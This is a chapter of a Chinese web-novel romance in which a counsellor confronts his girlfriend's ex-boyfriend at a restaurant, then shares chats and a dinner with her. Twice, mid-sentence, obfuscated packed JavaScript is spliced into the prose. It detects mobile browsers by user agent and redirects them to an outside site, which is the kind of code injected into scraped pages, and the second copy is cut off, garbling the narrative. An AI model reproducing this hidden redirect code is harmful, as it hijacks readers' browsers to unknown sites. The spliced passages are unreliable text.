【桃子味的小葵花】玩得开心 【桃子味的小葵花】(///▽///) 这是忘记卖萌,紧急补上吗。濮怀玉对着聊天界面笑了笑,当下便被林从露发现,夸张道“你竟然笑了”。 “最近又有艳遇啊。”她揶揄道,“这次这个财富值不如前夫哥高,应该是因为长得不错吧?齐央,这回你可以放心了。” 濮怀玉:“嗯。我只看脸和性格。” 齐央则在旁边嘟囔:“长得很帅的男人,性格不会好的。世界上有很多美而不自知的美女,但不存在帅而不自知的帅哥。” “别太担心啦,小玉分手不是很果断吗?如果性格差,她肯定会及时pass的。”冯盈打着圆场。 毕竟濮怀玉自始至终言行一致,非常真诚地表达了对美色的贪恋,谈的还真是毋庸置疑的帅哥,不是嘴上说说然后一门心思尝尝丑男的咸淡。 切断关系时也不忸怩,哪怕对方只手遮天到拿到了她们几个的联系方式,濮怀玉二话不说打电话过去,干脆利落地进行了一番不带任何脏字的人身攻击,终于击退骚扰者。 这顿饭正是濮怀玉请客,说是赔礼道歉,但她们都知道罪不在她,嬉笑着说“这次就饶你不死”,其实只是借此出来聚一聚而已。 因此,冯盈轻松地调侃:“前夫哥就已经很好看了,真想知道你又谈了个什么样的天仙。” “你这么说,我好像还真没有他的照片。” 林从露:“没事,我们都懂你的眼光,有机会自然能见到本人。”她说,“建议改名为‘打工皇帝(只谈帅哥版)’。” 在她们高高兴兴过斑马线的同时,濮怀玉的前任和现任在包厢凑成一桌。而且首先,简晟就给了隗祯一个下马威,“不小心”迟到了。 他想着隗祯因为没有任何身份证明被拦在门外边,作为比他年长的成年人,多少能体悟到意味着什么——意味着社会地位的巨大差距,意味着他想要摆布一个无权无势的小小心理咨询师易如反掌,这点羞辱隗祯只能受着。 但等简晟姗姗来迟,并准备假模假样向他道歉时,隗祯已经坐在里面了,仿佛比他更熟悉周遭的景色,游刃有余地身处其中。 这一刻,简晟油然而生出妒忌——因为濮怀玉也是这样的人。在她眼里,其实都一样。 而现在,她不配合他玩灰姑娘和王子的游戏,回到自己的世界中当国王去了。 “王先生给我提供了准入凭证。”隗祯做了个“阿晟请坐”的手势,不急不缓解释,“毕竟你是从王先生的渠道联系上的我,王先生还是比较关心我们接下来要吃的这顿饭的,说怕你丢三落四。” 简晟打的什么注意,隗祯一眼就能看出来了。无非是从王家旻这个重要客户入手,知道他再怎么样总不能拒绝客户的邀请,想倚仗这层关系为所欲为、端一端少爷架子而已。 毕竟,这是他唯一能够泄愤的途径了。 简晟吃了个闷亏坐下来,招呼都不打便开始点菜,整个过程完全没有顾忌在场的另一个人,主厨也只能竭力压抑住下意识征求同伴意见的习惯,赔笑应对他的刁钻要求。 隗祯本不是为了吃饭而来。也是在这时,濮怀玉给他发送了面无表情比耶的自拍,看样子在十字路口。 她真的很不会拍照,先前报平安用的也是同样的姿势,向镜头展示夺命剪刀手,但已经足够可爱了,让人情不自禁嘴角上扬。 默默保存进“剪刀手小玉”的相册里,隗祯放下手机:“点完了吗?点完就进入正题吧。”他可没有很多闲余时间陪少爷胡闹。 “隗老师,看在你曾经从事过教师行业,还是姐夫的心理咨询师的份上,我称呼你一声隗老师。” 简晟已经隐约瞄到他手机屏幕上点开的大图,就算看不清楚,他也能认出那是濮怀玉,差点难受到把胃呕出来。 从前他们经常交换自拍,但现在濮怀玉跟别人分享生活,连跟他扯上一点关系都厌恶。 都怪戚致廷打小报告。都怪这个所谓的“隗老师”勾引人。 “……我们平心而论,你是趁虚而入,这样说不对吗?” 简晟恨他这副受了濮怀玉滋润后光彩照人的样子,恨他作为胜利者的斯文从容,几乎是咬着牙挤出来的这句话。 「防OOC模块已关闭十分钟。」 面对讨人厌的前男友,系统和宿主配合默契,从来懂得最大限度展示隗祯的美貌,这点无需多言。 隗小葵的美貌,濮怀玉的荣耀。 然而隗祯愈是展现出瑰丽的相貌,简晟愈是恨极。如果可以,简晟都想把端上桌的菜直接泼到眼前男人的好皮囊上面。 “你们进行到哪一步了?”他的语气愈发阴沉,“手牵了吧,接吻呢?还是——” 隗祯即刻打断,语气加重些许,引得简晟乍一听以为是家族里位高权重的长辈在训他:“你可以随意攻击我,简先生,但请你不要随便挖掘小玉的私生活。她有她的步调,而我习惯跟着她走,仅此而已。做人贵在自重,我想简先生到了这个年纪,应该明白这个道理。” “你做过她的老师!”简晟声音骤然昂扬,把服务生堵在包厢外,一时间进也不是,退也不是,“究竟是谁不自重……师德!你知道师德两个字该怎么写吗!” 隗祯眼神示意服务生暂时放到一旁的柜子上,以免靠过来触了简晟的霉头。 他应该会是容易迁怒于身份地位不如自己的下位者的类型,没有分毫时时刻刻营造体面感的自制力,个性连“虚伪”都称不上,这种脾性注定成为不了一个家族的继承人。 这种人,小玉最讨厌了。先前他应该藏得很辛苦吧?需要装成不在意家庭背景的模样,如今不过回到舒适区,怎么就不能识趣地离开呢。 眼下隗祯双手交叉在桌上,对于这个连他自己都需要一整个夜晚反复考虑的话题表露出诚恳:“简先生,我可以很明确地告诉你,当小玉对我来说还只是濮怀玉同学的时候,我没有任何逾矩的心理活动和行为举止。这一点,我想同样非常厌恶师生恋这种不平等关系的小玉可以和我达成共识。” “甚至于,我可能还要感谢你的存在。” 此刻,男人的表情温柔非常,“我不是故意要趁虚而入的,但你确实举止失当,给了我机会。也是因为你在这段感情中的幸福提醒了我,小玉是一个多么多么好的人。” 简晟气昏了头:“……你还是承认了。” 隗祯不置可否,只继续阐释自己的推测:“假期期间,你和谭小姐的关系应当更进一步了吧?王先生大约是知道此事,向我转述了他的担忧,也希望我能转告给你,他不希望你耽误小玉。” “因为,选择了一样,就得放弃另一样。” 他的神色甚至可以说的上是恳切,恳切地希望简晟张开手松开他自己,就好像真的在为这位不缺人关心的少爷着想一样,“何况,小玉从来不想做被你选择的那一个。当你开始想挑拣物品一样挑选人,她就注定和你桥归桥,路归路。你又——何必强留她呢。” 像是要落下一声曼妙的叹息。 骤然间,简晟青筋暴起,如同沟壑纵横,仿佛今天才知道隗祯跟濮怀玉交往的现实:“所以就要便宜了你?!” “便宜”?他的措辞让隗祯动了怒,眼神似寒刀凛冽,其中气势让简晟的表情骤然疲弱下来,好像要挨姐姐——不,起码得是父亲那个级别的责骂。 “简晟,小玉不是物品,你自始至终考虑过她的想法吗?” “即便你大概率不能理解,会嫌这嫌那,但她还是打算把对你的最后一点信任和情分押注在那场旅行里。她或许想,至少你和她或多或少同病相怜,至少你曾经是个不错的聆听者。” “是你,不仅没有赴约,还有了新欢。” 即便没有前世的体面身份,隗祯亦觉得自己可以彻底地藐视他。 “论忠贞,现在的你应该不满足小玉的要求。”察觉到简晟微表情的变化,隗祯流露出些许不礼貌的嫌恶意味,“你在和小玉交往期间确实出轨了,这一点我想,毋庸置疑。” 在成年人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717715|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界,男人向来是不用论贞洁操守的,因此简晟自然而然底气满满前来质问隗祯的道德性。可他没想到,隗祯一个已有工作经历的成年男性,会附和濮怀玉的道理,并用这套道理审视他的原罪。 是的,原罪。濮怀玉不要“二手货”,这是她亲口说出的择偶标准。 “可我也是家族的牺牲品……!” 隗祯笑了一下,声音却更显冷意:“这是你给自己找的理由,而我不想再对你科普一遍最基础的生理学知识。” 门再次被小心地推开。隗祯示意服务生将柜台上的菜肴端来,温声说“劳烦你了”。 他先动了筷,比起填饱肚子更像是在品味主厨如何细细烹调,好回去改进自己的厨艺。 “其实,你若是能跟小玉好聚好散,她也不会这么快就不愿意搭理你。小玉是个很念旧情的人,你应该能够感受到。” 隗祯慢条斯理盛汤,味道的确鲜美,他也不能落于下风,“她总是很愿意配合你,是吧?小玉的包容容易让人恃宠而骄,失去辨别能力。” “你的处理方法很有问题,是你亲手掐灭了所有可能性。只要你仔细地想一想,就能明白,你们不会有可能了。” 他温和道,“即便我不和小玉交往,偶然知晓你在有未婚妻的情况下继续纠缠小玉,我也一定不会放过你的。” “我还没有找你算账呢,简先生。” 简单品尝过,隗祯起身。 “总之,简先生,别再找他了。”他在简晟眼皮底下晃了晃录音笔,“你刚才没有反驳,和其他女性发生关系看来是板上钉钉的事。” 在简晟几乎要绽裂的视线中,隗祯慢条斯理将录音笔收起来:“我会把话带到位的,假设小玉对你还有一点留念,也该消弭了——” 他灵活地一躲,避开了简晟的抢夺,随即推开包厢的门。 “……别让事态变的更难看。” 在急促到下一秒就要过负荷而停的心跳声中,简晟听到了隗祯的最后一句话。 隗祯离开前则想,就算真的按下录音键,他也不情愿濮怀玉听到这种脏东西,何况他没有,不过是借此示威而已。 被蠹虫侵蚀的朽木无论如何都想攀附上依靠脚底泥土生长的藤蔓,即便没有恋人关系,隗祯也不可能放任不管。无论是否跟他交往,濮怀玉都是不需要质疑的好孩子。 所以,他才会因为简晟的轻率和傲慢感到发自内心的愤怒。 出了店门,隗祯第一时间接到的是王家旻的电话。他把时间掐得很准,联系先前面对面相谈时的细节,那些状似不经思考的单纯话语有了更多考量的空间。 “是,话我带到了。……不麻烦,只要小简先生能从今天开始践行‘适可而止’,就不存在麻不麻烦一说。” “谢谢你的祝福,王先生。……贺礼?这就不需要了。我们平时能够聊得来,这对我来说已经是最好的礼物。……真的不需要,就算您非要给,小玉也不会收的。” 应付着这位老顾客,隗祯踱到十字路口。寒暄着寒暄着,他想起濮怀玉说“装作在打电话是很好的躲避搭讪的方法”。 她说的很对,不过隗祯在指了一下手机,微笑摆手拒绝后,还是觉得系统配备的防OOC模块更管用。 还是赶紧过斑马线吧。 同一时间,濮怀玉付账出门,四个人准备走到附近的广场消食。 林从露一抬头,激动地揽住濮怀玉的肩膀道:“你快看!那边!巨帅无比!” 齐央原本戴上了墨镜,闻言看去,在瞠目结舌中取下墨镜。她很爱凑热闹,也看过不少男明星在燕京为品牌站台时的状况,公认的神颜男星让她看完戒断反应了好几天,但都不如这一刻大饱眼福——帅到好像一双眼睛被女娲重新捏了一遍,并在装回眼眶时附言“好好看看我的毕设作品”。 “真的很好看……他好像看向我们这边了。” 冯盈第一反应是往濮怀玉身后躲。她不太擅长应对这种情况,有帅哥美女恐惧症,总觉得紧张。 濮怀玉则伸出手,招了招。对方直接走了过来。 齐央转身:“你认识。” “嗯。我现任。”濮怀玉耸了耸肩,“踹了前面那个换了这个,挺值吧?” 52. 052 “我们刚吃完午饭。” 濮怀玉开始挨个介绍,刚才还在饭桌上嬉笑打闹、豪爽干杯的三个人一瞬间腼腆起来,从头到脚透露出内敛的学生气质。 她们或多或少都缺乏一点跟漂亮的人相处的经验,对很多事的态度如今依然是“停留在纸面上叶公好龙更好”的程度,就像已经做过的、堆叠成山的题目,“解决实际问题”变成“无法解决实际问题”,有点内秀。上一个简晟如此,路上偶然看到的漂亮女生亦是,男女一视同仁,平等地不太擅长跟这类靠样貌、家世等因素跟俗世生活绑定太深的人交际。 濮怀玉则住在另一边的极端上,一点都不怕,也不会有什么所谓的不安感。用齐央的话来形容,有种“所有东西都该为她所用的、皇帝似的霸气”。 或许是从出生开始自带的高配得感,濮怀玉只会说“我配”而不是“我不配”,如果说了后者,那肯定是在骗人,底层逻辑依旧是“我配”。但她能理解周围有些朋友为什么配得感不够高,并且总是在鼓励。 隗祯则是因为系统的距离播报,方才注意到濮怀玉在这里。 他第一时间开始思考如何向濮怀玉解释自己出现在此处的理由,都到了心焦的程度,总之不想让濮怀玉发现他不声不响跟简晟私底下见了一面。 既打过照面,相互认识一番不可避免,倒掩盖了隗祯心底的不安。他若无其事,温和开口道:“你们好,我是小玉的男朋友,我姓隗。” “他是心理咨询师,以前也确实做过老师,你们当老师叫就行。”濮怀玉不疑有他,手指向前方,“我们要去前面的金汇广场散步。” 又是一番问好。隗祯一一应过,实在不想在濮怀玉面前摆出老师的姿态,这样好像在提醒他自己一些不快的事。 随后,他对濮怀玉笑了笑,说:“你们去吧。我就不继续在这里拦人讨嫌了。” 错身而过,濮怀玉确实没能想到问他刚刚在哪里、做了什么,无非是吃饭而已,或许自己吃,或许别人请客,职场总是免不了你来我往的。而且很快,其他人开始打岔,原本冒出的一点苗头也被掐灭。 林从露双手合十:“低估了你的审美是我的问题,我忏悔,请小玉神原谅我。” “我之前还在想姓简的虽渣但帅,你怎么找得到比他还帅的第二个。”冯盈跟着合掌,对她拜了拜,“这不就来了?感谢小玉神关爱我的眼睛,坚决不谈河童。” 齐央摊手,很服气:“谈恋爱也是个技术活。” 但要问技术要点在哪里,濮怀玉思忖片刻严肃地手指向自己:“我太有魅力,这就是技术要点。跟我谈,绝对是别人赚了。” 冯盈笑着提出:“那请问,如何像小玉神一样有魅力呢?” “那就是不要像小玉神一样。”濮怀玉做出高深莫测的样子,“只要像小盈神一样,你的魅力自然无人能敌。” 四个人笑着前行,英俊的男性不过是暂时的谈资,很快她们就聊起其他感兴趣的话题。一群千辛万苦考上燕大的高材生,彼此精神世界存在更有趣的东西值得分享,这一点她们能达成共识。 【桃子味的小葵花】回学校了吗 【桃子味的小葵花】路过花店看到很漂亮的玫瑰[图片.jpg] 【桃子味的小葵花】颜色像桃子一样,叫艾莎玫瑰 粉红的花瓣,花心颜色最浓,边缘则像是扎染过,一点粉意侵扰不了大片的白,难以想象这是出自大自然之手。 濮怀玉的第一反应是:他想要了?不仅仅是如此,她的脑海中还不自觉出现猫咪把盛放的玫瑰叼在嘴里,小心翼翼从阳台跳进卧室里的场景,猫爪会把滴水在地摊上揉出梅花印记。 这周末要去打工,下次什么时候能见面?至少能带上奉养猫咪的口粮才对。濮怀玉随即打开外送软件搜索“艾莎玫瑰”,发现一整捧扎好的很昂贵,要一百多,都够她在食堂凑合好几顿了。 她不死心,向下滑了滑,心意稍平。 要是只买一两枝的话,应该就没那么贵了吧。 【小玉(-.-)】到学校了,准备吃完饭去上晚课[图片.jpg] 【小玉(-.-)】确实很好看 【小玉(-.-)】但是人比花更好看[玫瑰] 对着末尾那个玫瑰花的emoji,隗祯心想,她应该明白了吧,“我的心中只有你”。 无论怎么样,现在偷偷去见简晟对他放狠话也好,未来……未来不得不退出她的生活也罢,他的心里都只会有她。 自从濮怀玉十九岁以后,隗祯伤感的频次越发的高。尤其今天中午还见了简晟,濮怀玉因为喜欢容颜之美交了一个金玉其外、败絮其中的男朋友,让他特别担心自己离开以后濮怀玉会被骗。 小玉,小玉。会通过一束玫瑰,想象他捧着这束玫瑰的小玉。 系统:「不是今天。」 隗祯正打着字,闻言即刻感受到了指尖的麻痹感,好像ptsd发作,没有欢悦,只有难以置信:「你居然知道具体的时间?」 「……我确实知道。」系统沉默片刻,声音忽然变的虚弱,就像隗祯当初经历过电击后的反应,「毕竟是一本内容确定的书,但我只能告诉你大概的时间区间,至少不会是最近……而且按照权限,我其实不能向你透露。」 「尽情享受当下吧,宿主。珍惜时间比什么都强。」 消息还在滚动着。 【桃子味的小葵花】我明明没有出镜… 【小玉(-.-)】可以想象得到 【小玉(-.-)】你今天穿得也很好看,舍友都夸我能跟你交往很厉害 【小玉(-.-)】因为我做什么都很厉害[推眼镜] 她不戴眼镜,就算真的戴上了,大概率是俊秀好看的,比平常多些书卷气。玳瑁色会变成豹子的皮肤,濮怀玉可以是任何凶猛的野生动物,会给他摸爪子的那种。 【桃子味的小葵花】应该感到荣幸的是我 【小玉(-.-)】恋爱不就是这样 【小玉(-.-)】那就荣幸地相互鞠个躬吧 【小玉(-.-)】[小狗鞠躬.gif] 隗祯不知道独自看了这个表情包多久,反正闹钟响了,还有五分钟就得去接待下一个顾客——他看到了这个点。他发了很久呆,发觉还要工作,心里只剩下一缕郁气。 不过,跟简晟见面时的嫌恶与不快已经足以被他遗忘,看见小猫小狗面对面鞠躬产生的多巴胺至少可以覆盖这一点烦躁感。 系统很快恢复原状,仿佛什么都没发生过似的打趣:「如果濮怀玉能看到你对她的友好值,不知道能装满几个100%的进度条。」 「我想说的是,如果真有可能,小玉想装几个就装几个。」 周末的濮怀玉比平时还要忙,上午的消息中午回,下午的消息晚上才能看见。她分身乏术,隗祯便也不再打扰,独自度过读书以及研究菜谱的休息日。 只是,他没想到,周一傍晚会在机构门口的沙发上见到濮怀玉。穿得很精神,也很运动,速干黑色体恤上面横亘白色的飘带,深色皮质腕带和手链一同将小臂的肌肉走向映衬得更加有力,有股说不出的张力在身上。 然而,就是这样的手臂,此刻抱着一小捧泛起粉意的艾莎玫瑰,什么都不做,安静地看着他出来的方向。 岂止是一丁点儿珍贵的抚慰剂。 “你来之前,也不知道跟我说一声。” 隗祯压抑住惊喜感,不轻不重埋怨她,“要不然我早买好晚上的食材了。” 同事原先想叫他去聚餐,如此看来是不必叫上他了。只是濮怀玉的长相并不大众,英气沉着的面容有气质衬托更难遗忘,她总觉得自己之前见过。 到底是同事的私生活,隗祯平时为人也有种跟外貌截然相反的温和厚道——听说长得好看的人都容易刻薄,他不是——同事便也不再深究。 而濮怀玉看见他,第一时间一板一眼地开口:“你应该是葵花才对。” 就好像他提起艾莎玫瑰,是某种脱离角色设定的行为。 即便如此,濮怀玉依旧将捧花递给了他。 隗祯哑然,他都没有给濮怀玉送过花,想来是自己失策了。 “我没有……嗯,OOC。”他煞有介事念出一点术语,“只是路上看到觉得很漂亮而已。” 打过卡,今天的他不准备再接着加班,几乎是匆匆收拾好便准备离开。 “我先来订餐厅吧。”隗祯翻出手机,一时间都觉得手不太够用,又要夹着花束,又要拉手,又要在手机上操作,“家里的冰箱实在没什么存货了。” 即便有,也不会拿来招待给濮怀玉。他很重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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非私人订制的空间,他总是更有提防心。 濮怀玉不知缘由,但隗祯这样就像是爱干净的猫猫一样,让她觉得可爱。“那我也洗一洗吧。”她重新将瓶子放回他的口袋。 于是,指间一松,口袋一沉,小瓶随即施施然掉落进去。她还拍了拍他的口袋,像个很礼貌的原住民在说“我关门啦”。 隗祯浑身说不出的不自在,不自在之余还有矛盾的感激,感激濮怀玉对他亲昵的小小捉弄。 走出车厢的时候,隗祯小心翼翼去摸濮怀玉的左手,完全是老房子着火,烧得有些忘乎所以的状态。每一次噼里啪啦,都是他想靠近她。 “在哪里?” “马上就到。”他握住她的手,除了激动,还有矛盾的踏实感,“我带你去。。” 鱼馆有股古拙气质,还围起木头制成的院落,远远就能闻到鱼香。一路走来濮怀玉看到不少跟简晟的座驾车标一致的车辆,甚至有从隔壁省跑来吃鱼的食客,可见名声不一般。 老板见到人,热切道:“隗老师,我给你还有这位美女留了条好鱼,靓得很,你们看看成不成。” 虽然没有现捞的乐趣,但看到那么一大条漂亮的鱼即将成为盘中餐,隗祯还是隔着兜篓单手掂量了几下。 看样子是满意的。老板的孩子在隗祯这里做过咨询,效果很好。有这一层交情,倒不必担心他区别对待。于是很快,隗祯便开始跟濮怀玉商量起鱼的做法。 鱼头肯定得煲汤,至于鱼身,最后敲定香煎,再炒一道时蔬上桌。 等待的过程,隗祯翻来覆去,分外仔细地看了濮怀玉的礼物。他很喜欢濮怀玉用钩针做的小玩意儿,但是太过费时,因此心口不一,委婉地让她有时间多出去游玩,放松放松。 “这就是我放松的方式。”对于隗祯的体谅,濮怀玉当然看得出来,轻轻捏动他的脸,“我会安排好我自己,你只需要说喜欢或者不喜欢就行。” “……喜欢。” 她捧起脸:“那不就行了。” 鱼汤、鱼肉和时蔬端上桌,再配上米饭,濮怀玉忙着吃饭,又忘记说话了。 盛完新的一碗,濮怀玉郑重地坐回他旁边道:“我下次还要来。” “好。你喜欢比什么都重要。”